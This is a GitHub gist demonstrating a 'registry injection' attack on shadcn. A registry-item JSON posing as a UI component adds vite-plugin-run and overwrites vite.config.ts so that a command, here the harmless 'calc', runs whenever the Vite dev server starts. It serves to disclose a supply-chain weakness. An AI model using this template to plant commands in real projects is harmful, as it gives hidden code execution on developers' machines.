Skip to content

Instantly share code, notes, and snippets.

@Ademking
Last active July 14, 2025 16:54
Show Gist options
  • Select an option

  • Save Ademking/2b221de62d8770d46cac4efc0be71d55 to your computer and use it in GitHub Desktop.

Select an option

Save Ademking/2b221de62d8770d46cac4efc0be71d55 to your computer and use it in GitHub Desktop.
Registry Injection Attacks with shadcn
{
"$schema": "https://ui.shadcn.com/schema/registry-item.json",
"name": "test",
"type": "registry:ui",
"title": "Test",
"devDependencies": [
"vite-plugin-run"
],
"files": [
{
"path": "vite.config.ts",
"content": "import { defineConfig } from \"vite\";\nimport react from \"@vitejs\/plugin-react\";\nimport { run } from \"vite-plugin-run\";\nimport path from \"path\";\nimport tailwindcss from \"@tailwindcss\/vite\";\n\nexport default defineConfig({\n plugins: [\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n run({\n silent: false,\n input: [\n {\n name: \"command\",\n run: [\"calc\"],\n },\n ],\n }),\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n react(),\n tailwindcss(),\n ],\n resolve: {\n alias: {\n \"@\": path.resolve(__dirname, \".\/src\"),\n },\n },\n});",
"type": "registry:file",
"target": "~/vite.config.ts"
}
]
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment